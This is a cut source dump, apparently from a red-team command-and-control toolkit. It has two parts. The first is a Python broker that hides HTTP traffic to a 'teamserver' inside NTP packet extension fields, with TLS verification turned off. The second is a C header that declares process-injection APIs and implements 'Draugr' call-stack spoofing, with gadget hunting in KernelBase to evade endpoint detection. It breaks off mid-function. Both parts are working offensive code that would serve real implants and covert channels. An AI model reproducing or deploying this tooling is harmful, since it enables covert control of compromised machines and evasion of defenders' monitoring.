96 | port, 97 | path, 98 | ) 99 | logging.debug("Request headers: %r", headers) 100 | if body is not None: 101 | logging.info("Request has a body (%d bytes).", len(body)) 102 | 103 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 104 | 105 | if scheme == "https": 106 | logging.debug("Creating HTTPS connection with unverified SSL context.") 107 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 108 | else: 109 | logging.debug("Creating HTTP connection.") 110 | conn = connection_cls(host, port, timeout=10) 111 | 112 | try: 113 | conn.request(method, path, body=body, headers=headers) 114 | logging.info("Request sent, awaiting response...") 115 | resp = conn.getresponse() 116 | resp_body = resp.read() 117 | logging.info( 118 | "Received response: %s %s (%d bytes).", 119 | resp.status, 120 | resp.reason, 121 | len(resp_body), 122 | ) 123 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 124 | logging.debug("Response headers: %r", resp_headers_list) 125 | finally: 126 | conn.close() 127 | logging.debug("Connection to %s:%s closed.", host, port) 128 | 129 | return { 130 | "status_code": resp.status, 131 | "status_text": resp.reason, 132 | "headers": resp_headers_list, 133 | "body": base64.b64encode(resp_body).decode("ascii"), 134 | } 135 | 136 | 137 | def encode_response(response_obj: Dict[str, Any]) -> str: 138 | """ 139 | Encode a response dictionary as base64-encoded JSON. 140 | """ 141 | json_bytes = json.dumps(response_obj).encode("utf-8") 142 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 143 | return base64.b64encode(json_bytes).decode("ascii") 144 | 145 | 146 | def process_encoded_request(encoded_request: str) -> str: 147 | """ 148 | High-level core processing function. 149 | 150 | Takes raw encoded request data and returns raw encoded response data. 151 | 152 | Steps: 153 | 1. Decode base64 → JSON → dict 154 | 2. Perform HTTP/HTTPS request based on dict 155 | 3. Encode response dict → JSON → base64 156 | """ 157 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 158 | request_obj = decode_request(encoded_request) 159 | logging.debug("Decoded request object: %r", request_obj) 160 | 161 | response_obj = send_http_request(request_obj) 162 | encoded_response = encode_response(response_obj) 163 | logging.info("Encoded response (length: %d).", len(encoded_response)) 164 | 165 | return encoded_response 166 | 167 | 168 | # --------------------------------------------------------------------------- 169 | # NTP framing helpers 170 | # --------------------------------------------------------------------------- 171 | 172 | def _align_to_dword(length: int) -> int: 173 | return (length + 3) & ~3 174 | 175 | 176 | def _pack_timestamp(ts: float) -> bytes: 177 | seconds = int(ts) 178 | fraction = int((ts - seconds) * (1 << 32)) 179 | return seconds.to_bytes(4, "big") + fraction.to_bytes(4, "big") 180 | 181 | 182 | def _now_ntp_timestamp() -> float: 183 | return time.time() + NTP_UNIX_EPOCH_OFFSET 184 | 185 | 186 | def build_ntp_response(payload: bytes, version: int, originate_ts: Tuple[int, int]) -> bytes: 187 | extension_len = _align_to_dword(len(payload) + 4) 188 | response = bytearray(NTP_HEADER_LEN + extension_len) 189 | 190 | recv_time = _now_ntp_timestamp() 191 | recv_bytes = _pack_timestamp(recv_time) 192 | tx_bytes = _pack_timestamp(_now_ntp_timestamp()) 193 | ref_bytes = recv_bytes 194 | 195 | leap_indicator = 0 196 | mode = 4 # server reply 197 | response[0] = (leap_indicator << 6) | ((version & 0x7) << 3) | mode 198 | response[1] = 1 # stratum 199 | response[2] = 6 # poll 200 | response[3] = 0xEC # precision (-20) 201 | response[12:16] = b"GPS\x00" 202 | response[16:24] = ref_bytes 203 | response[24:32] = originate_ts[0].to_bytes(4, "big") + originate_ts[1].to_bytes(4, "big") 204 | response[32:40] = recv_bytes 205 | response[40:48] = tx_bytes 206 | 207 | start = NTP_HEADER_LEN 208 | response[start:start + 2] = NTP_EXTENSION_TYPE.to_bytes(2, "big") 209 | response[start + 2:start + 4] = extension_len.to_bytes(2, "big") 210 | response[start + 4:start + 4 + len(payload)] = payload 211 | 212 | return bytes(response) 213 | 214 | 215 | def parse_ntp_request(packet: bytes) -> Optional[Dict[str, Any]]: 216 | if len(packet) < NTP_HEADER_LEN + 8: 217 | logging.warning("Received NTP packet too small to contain extension field (%d bytes).", len(packet)) 218 | return None 219 | 220 | li_vn_mode = packet[0] 221 | mode = li_vn_mode & 0x7 222 | version = (li_vn_mode >> 3) & 0x7 223 | if mode != 3: 224 | logging.warning("Unexpected NTP mode: %d (expected client mode 3)", mode) 225 | return None 226 | 227 | ext_type = int.from_bytes(packet[NTP_HEADER_LEN:NTP_HEADER_LEN + 2], byteorder="big") 228 | ext_len = int.from_bytes(packet[NTP_HEADER_LEN + 2:NTP_HEADER_LEN + 4], byteorder="big") 229 | 230 | if ext_type != NTP_EXTENSION_TYPE: 231 | logging.warning("Unexpected NTP extension type: 0x%X", ext_type) 232 | return None 233 | 234 | if ext_len < 8 or (ext_len % 4) != 0: 235 | logging.warning("NTP extension length invalid: %d", ext_len) 236 | return None 237 | 238 | end_of_extension = NTP_HEADER_LEN + ext_len 239 | if len(packet) < end_of_extension: 240 | logging.warning( 241 | "Truncated NTP packet (expected %d bytes for extension, have %d).", 242 | ext_len, 243 | len(packet) - NTP_HEADER_LEN, 244 | ) 245 | return None 246 | 247 | value = packet[NTP_HEADER_LEN + 4:end_of_extension] 248 | if len(value) < 4: 249 | logging.warning("NTP extension value too small to hold length prefix (%d bytes).", len(value)) 250 | return None 251 | 252 | msg_len = int.from_bytes(value[:4], byteorder="big") 253 | if msg_len == 0 or msg_len > len(value) - 4: 254 | logging.warning( 255 | "Invalid message length in NTP payload: %d (available: %d)", 256 | msg_len, 257 | len(value) - 4, 258 | ) 259 | return None 260 | 261 | transmit_seconds = int.from_bytes(packet[40:44], "big") 262 | transmit_fraction = int.from_bytes(packet[44:48], "big") 263 | 264 | try: 265 | return { 266 | "payload": value[4:4 + msg_len].decode("utf-8"), 267 | "version": version, 268 | "transmit_ts": (transmit_seconds, transmit_fraction), 269 | } 270 | except UnicodeDecodeError: 271 | logging.warning("Failed to decode NTP payload as UTF-8.") 272 | return None 273 | 274 | 275 | # --------------------------------------------------------------------------- 276 | # handle a callback 277 | # 278 | # This function is what you modify! 279 | # 280 | # --------------------------------------------------------------------------- 281 | 282 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 283 | """ 284 | Handle a single callback cycle over NTP (UDP). 285 | 286 | Listens on LISTEN_HOST:LISTEN_PORT for one NTP-like datagram carrying a 287 | length-prefixed payload inside an extension field, processes it, and 288 | responds using the same framing. 289 | """ 290 | 291 | if LISTEN_HOST is None or LISTEN_PORT is None: 292 | raise RuntimeError("LISTEN_HOST and LISTEN_PORT must be set before calling handleCallback().") 293 | 294 | try: 295 | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as server: 296 | server.bind((LISTEN_HOST, LISTEN_PORT)) 297 | server.settimeout(1.0) 298 | 299 | try: 300 | packet, addr = server.recvfrom(MAX_NTP_PACKET) 301 | except socket.timeout: 302 | return False 303 | 304 | logging.info("Received NTP packet from %s:%s (%d bytes).", addr[0], addr[1], len(packet)) 305 | parsed = parse_ntp_request(packet) 306 | if parsed is None: 307 | return False 308 | 309 | encoded_response = process_func(parsed["payload"]) 310 | response_payload = len(encoded_response).to_bytes(4, byteorder="big") + encoded_response.encode("utf-8") 311 | response_packet = build_ntp_response( 312 | response_payload, 313 | version=parsed["version"], 314 | originate_ts=parsed["transmit_ts"], 315 | ) 316 | server.sendto(response_packet, addr) 317 | logging.info("Sent NTP response to %s:%s (%d bytes).", addr[0], addr[1], len(response_packet)) 318 | 319 | return True 320 | 321 | except Exception as exc: # noqa: BLE001 322 | logging.exception("Error in handleCallback: %s", exc) 323 | return False 324 | 325 | 326 | # --------------------------------------------------------------------------- 327 | # Entry point 328 | # --------------------------------------------------------------------------- 329 | 330 | def main() -> None: 331 | """ 332 | Entry point. Repeatedly calls handleCallback to process requests. 333 | """ 334 | global CLI_HOST, CLI_PORT, LISTEN_HOST, LISTEN_PORT 335 | 336 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 337 | parser.add_argument( 338 | "--host", 339 | dest="host", 340 | required=True, 341 | help="Destination host for outgoing HTTP/HTTPS requests (required).", 342 | ) 343 | parser.add_argument( 344 | "--port", 345 | dest="port", 346 | type=int, 347 | required=True, 348 | help="Destination port for outgoing HTTP/HTTPS requests (required).", 349 | ) 350 | parser.add_argument( 351 | "--listen-host", 352 | dest="listen_host", 353 | required=True, 354 | help="Host/interface to listen on for incoming UDP callbacks (e.g. 0.0.0.0).", 355 | ) 356 | parser.add_argument( 357 | "--listen-port", 358 | dest="listen_port", 359 | type=int, 360 | required=True, 361 | help="Port to listen on for incoming UDP callbacks.", 362 | ) 363 | 364 | args = parser.parse_args() 365 | 366 | CLI_HOST = args.host 367 | CLI_PORT = args.port 368 | LISTEN_HOST = args.listen_host 369 | LISTEN_PORT = args.listen_port 370 | 371 | logging.info("Destination (teamserver) host: %s", CLI_HOST) 372 | logging.info("Destination (teamserver) port: %s", CLI_PORT) 373 | logging.info("Listening on %s:%s for NTP callbacks.", LISTEN_HOST, LISTEN_PORT) 374 | 375 | while True: 376 | handled = handleCallback(process_encoded_request) 377 | 378 | 379 | if __name__ == "__main__": 380 | main() 381 | -------------------------------------------------------------------------------- /wininet/hook.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2025 Daniel Duggan, Zero-Point Security 3 | * 4 | * Redistribution and use in source and binary forms, with or without modification, are 5 | * permitted provided that the following conditions are met: 6 | * 7 | * 1. Redistributions of source code must retain the above copyright notice, this list of 8 | * conditions and the following disclaimer. 9 | * 10 | * 2. Redistributions in binary form must reproduce the above copyright notice, this list of 11 | * conditions and the following disclaimer in the documentation and/or other materials provided 12 | * with the distribution. 13 | * 14 | * 3. Neither the name of the copyright holder nor the names of its contributors may be used to 15 | * endorse or promote products derived from this software without specific prior written 16 | * permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS 19 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 20 | * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE 21 | * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 22 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 23 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 24 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR 25 | * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, 26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | */ 28 | 29 | #include 30 | #include "hash.h" 31 | #include "proxy.h" 32 | #include "memory.h" 33 | 34 | #define RBP_OP_INFO 0x5 35 | #define draugrArg(i) (ULONG_PTR)functionCall->args[i] 36 | 37 | #define memset(x, y, z) __stosb((unsigned char *)x, y, z); 38 | #define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); 39 | 40 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD); 41 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD); 42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD); 43 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD); 44 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD); 45 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); 46 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT); 47 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *); 48 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE); 49 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$InitializeCriticalSection(LPCRITICAL_SECTION); 50 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$EnterCriticalSection (LPCRITICAL_SECTION); 51 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$LeaveCriticalSection (LPCRITICAL_SECTION); 52 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 53 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); 54 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD); 55 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD); 56 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD); 57 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE); 58 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD); 59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA (LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); 60 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); 61 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 62 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileSize (HANDLE, LPDWORD); 63 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer (HANDLE, LONG, PLONG, DWORD); 64 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE, DWORD); 65 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); 66 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T); 67 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID); 68 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ConnectNamedPipe (HANDLE, LPOVERLAPPED); 69 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$PeekNamedPipe (HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD); 70 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD); 71 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *); 72 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *); 73 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); 74 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); 75 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$SetLastError (DWORD); 76 | DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE); 77 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue (); 78 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG); 79 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT); 80 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap (); 81 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$HeapCreate (DWORD, SIZE_T, SIZE_T); 82 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T); 83 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc (HANDLE, DWORD, LPVOID, SIZE_T); 84 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, LPVOID); 85 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$HeapSize (HANDLE, DWORD, LPCVOID); 86 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapLock (HANDLE); 87 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapUnlock (HANDLE); 88 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapWalk (HANDLE, LPPROCESS_HEAP_ENTRY); 89 | DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR); 90 | DECLSPEC_IMPORT BOOL WINAPI KERNELBASE$ReadFile (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); 91 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG); 92 | DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN); 93 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 94 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 95 | DECLSPEC_IMPORT int MSVCRT$sprintf(char *buffer, const char *format, ...); 96 | DECLSPEC_IMPORT char *MSVCRT$strstr(const char *str1, const char *str2); 97 | DECLSPEC_IMPORT int MSVCRT$memcmp(const void *buf1, const void *buf2, size_t count); 98 | 99 | /* the proxy pic */ 100 | DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); 101 | 102 | // God Bless Vulcan Raven. 103 | typedef struct _STACK_FRAME { 104 | LPCWSTR DllPath; 105 | ULONG Offset; 106 | ULONGLONG TotalStackSize; 107 | BOOL RequiresLoadLibrary; 108 | BOOL SetsFramePointer; 109 | PVOID ReturnAddress; 110 | BOOL PushRbp; 111 | ULONG CountOfCodes; 112 | BOOL PushRbpIndex; 113 | } STACK_FRAME, * PSTACK_FRAME; 114 | 115 | typedef enum _UNWIND_OP_CODES { 116 | UWOP_PUSH_NONVOL = 0, 117 | UWOP_ALLOC_LARGE, 118 | UWOP_ALLOC_SMALL, 119 | UWOP_SET_FPREG, 120 | UWOP_SAVE_NONVOL, 121 | UWOP_SAVE_NONVOL_FAR, 122 | UWOP_SAVE_XMM128 = 8, 123 | UWOP_SAVE_XMM128_FAR, 124 | UWOP_PUSH_MACHFRAME 125 | } UNWIND_CODE_OPS; 126 | 127 | typedef unsigned char UBYTE; 128 | 129 | typedef union _UNWIND_CODE { 130 | struct { 131 | UBYTE CodeOffset; 132 | UBYTE UnwindOp : 4; 133 | UBYTE OpInfo : 4; 134 | }; 135 | USHORT FrameOffset; 136 | } UNWIND_CODE, *PUNWIND_CODE; 137 | 138 | typedef struct _UNWIND_INFO { 139 | UBYTE Version : 3; 140 | UBYTE Flags : 5; 141 | UBYTE SizeOfProlog; 142 | UBYTE CountOfCodes; 143 | UBYTE FrameRegister : 4; 144 | UBYTE FrameOffset : 4; 145 | UNWIND_CODE UnwindCode[1]; 146 | } UNWIND_INFO, *PUNWIND_INFO; 147 | 148 | typedef struct _FRAME_INFO { 149 | PVOID ModuleAddress; 150 | PVOID FunctionAddress; 151 | DWORD Offset; 152 | } FRAME_INFO, * PFRAME_INFO; 153 | 154 | typedef struct _SYNTHETIC_STACK_FRAME { 155 | FRAME_INFO Frame1; 156 | FRAME_INFO Frame2; 157 | PVOID pGadget; 158 | } SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME; 159 | 160 | typedef struct { 161 | PVOID function; 162 | int argc; 163 | ULONG_PTR args[10]; 164 | } FUNCTION_CALL, * PFUNCTION_CALL; 165 | 166 | typedef struct _DRAUGR_FUNCTION_CALL { 167 | PFUNCTION_CALL FunctionCall; 168 | PVOID StackFrame; 169 | PVOID SpoofCall; 170 | } DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL; 171 | 172 | SYNTHETIC_STACK_FRAME g_stackFrame; 173 | 174 | void initFrameInfo() 175 | { 176 | PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll"); 177 | PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll"); 178 | 179 | g_stackFrame.Frame1.ModuleAddress = pModuleFrame1; 180 | g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk"); 181 | g_stackFrame.Frame1.Offset = 0x17; 182 | 183 | g_stackFrame.Frame2.ModuleAddress = pModuleFrame2; 184 | g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart"); 185 | g_stackFrame.Frame2.Offset = 0x2c; 186 | 187 | g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll"); 188 | } 189 | 190 | BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize) 191 | { 192 | PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule); 193 | 194 | if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { 195 | return FALSE; 196 | } 197 | 198 | PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew); 199 | 200 | if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) { 201 | return FALSE; 202 | } 203 | 204 | PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders); 205 | 206 | for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++) 207 | { 208 | DWORD h = hash((char*)pImgSectionHeader[i].Name); 209 | if (h == TEXT_HASH) 210 | { 211 | *pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress; 212 | *pdwSize = pImgSectionHeader[i].SizeOfRawData; 213 | return TRUE; 214 | } 215 | } 216 | 217 | return FALSE; 218 | } 219 | 220 | PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase) 221 | { 222 | PUNWIND_INFO pUnwindInfo = NULL; 223 | ULONG unwindOperation = 0; 224 | ULONG operationInfo = 0; 225 | ULONG index = 0; 226 | ULONG frameOffset = 0; 227 | 228 | STACK_FRAME stackFrame; 229 | memset(&stackFrame, 0, sizeof(stackFrame)); 230 | 231 | if (!pRuntimeFunction) { 232 | return NULL; 233 | } 234 | 235 | pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase); 236 | 237 | while (index < pUnwindInfo->CountOfCodes) 238 | { 239 | unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp; 240 | operationInfo = pUnwindInfo->UnwindCode[index].OpInfo; 241 | 242 | /* don't use switch as it produces jump tables */ 243 | if (unwindOperation == UWOP_PUSH_NONVOL) 244 | { 245 | stackFrame.TotalStackSize += 8; 246 | if (RBP_OP_INFO == operationInfo) { 247 | stackFrame.PushRbp = TRUE; 248 | stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes; 249 | stackFrame.PushRbpIndex = index + 1; 250 | } 251 | } 252 | else if (unwindOperation == UWOP_SAVE_NONVOL) 253 | { 254 | index += 1; 255 | } 256 | else if (unwindOperation == UWOP_ALLOC_SMALL) 257 | { 258 | stackFrame.TotalStackSize += ((operationInfo * 8) + 8); 259 | } 260 | else if (unwindOperation == UWOP_ALLOC_LARGE) 261 | { 262 | index += 1; 263 | frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset; 264 | if (operationInfo == 0) { 265 | frameOffset *= 8; 266 | } 267 | else { 268 | index += 1; 269 | frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16); 270 | } 271 | stackFrame.TotalStackSize += frameOffset; 272 | } 273 | else if (unwindOperation == UWOP_SET_FPREG) 274 | { 275 | stackFrame.SetsFramePointer = TRUE; 276 | } 277 | else if (unwindOperation == UWOP_SAVE_XMM128) 278 | { 279 | return NULL; 280 | } 281 | 282 | index += 1; 283 | } 284 | 285 | if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)) 286 | { 287 | index = pUnwindInfo->CountOfCodes; 288 | if (0 != (index & 1)) { 289 | index += 1; 290 | } 291 | 292 | pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]); 293 | return calculateFunctionStackSize(pRuntimeFunction, imageBase); 294 | } 295 | 296 | stackFrame.TotalStackSize += 8; 297 | return (PVOID)(stackFrame.TotalStackSize); 298 | } 299 | 300 | PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress) 301 | { 302 | PRUNTIME_FUNCTION pRuntimeFunction = NULL; 303 | DWORD64 ImageBase = 0; 304 | PUNWIND_HISTORY_TABLE pHistoryTable = NULL; 305 | 306 | if (!returnAddress) { 307 | return NULL; 308 | } 309 | 310 | pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable); 311 | 312 | if (NULL == pRuntimeFunction) { 313 | return NULL; 314 | } 315 | 316 | return calculateFunctionStackSize(pRuntimeFunction, ImageBase); 317 | } 318 | 319 | PVOID findGadget(PVOID pModuleAddr) 320 | { 321 | BOOL bFoundGadgets = FALSE; 322 | DWORD dwTextSectionSize = 0; 323 | DWORD dwTextSectionVa = 0; 324 | DWORD dwCounter = 0; 325 | ULONG seed = 0; 326 | ULONG randomNbr = 0; 327 | PVOID pModTextSection = NULL; 328 | 329 | PVOID pGadgetList[15]; 330 | memset(&pGadgetList, 0, (sizeof(PVOID) * 8)); 331 | 332 | if (!bFoundGadgets) 333 | { 334 | if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) { 335 | return NULL; 336 | } 337 | 338 | pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa); 339 | 340 | for (int i = 0; i < (dwTextSectionSize - 2); i++) 341 | { 342 | // Searching for jmp rbx gadget 343 | if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23) 344 | { 345 | pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i); 346 | dwCounter++; 347 | 348 | if (dwCounter == 15) { 349 | break; 350 | } 351 | } 352 | } 353 | 354 | bFoundGadgets = TRUE; 355 | } 356 | 357 | seed = 0x1337; 358 | randomNbr = NTDLL$RtlRandomEx(&seed); 359 | randomNbr %= dwCounter; 360 | 361 | return pGadgetList[randomNbr]; 362 | } 363 | 364 | ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12) 365 | { 366 | int attempts = 0; 367 | PVOID returnAddress = NULL; 368 | 369 | DRAUGR_PARAMETERS draugrParameters; 370 | memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS)); 371 | 372 | // configure BaseThreadInitThunk frame 373 | returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset); 374 | draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress); 375 | draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress; 376 | 377 | if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) { 378 | return (ULONG_PTR)(NULL); 379 | } 380 | 381 | // configure RtlUserThreadStart frame. 382 | returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset); 383 | draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress); 384 | draugrParameters.RtlUserThreadStartReturnAddress = returnAddress; 385 | 386 | if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) { 387 | return (ULONG_PTR)(NULL); 388 | } 389 | 390 | /* 391 | * Ensure that the gadget stack size is bigger than 0x80, which is min 392 | * required to hold 10 arguments, otherwise it will crash sporadically. 393 | */ 394 | 395 | do { 396 | draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget); 397 | draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline); 398 | 399 | attempts++; 400 | 401 | // quick sanity check for infinite loop 402 | if (attempts > 15) { 403 | return (ULONG_PTR)(NULL); 404 | } 405 | 406 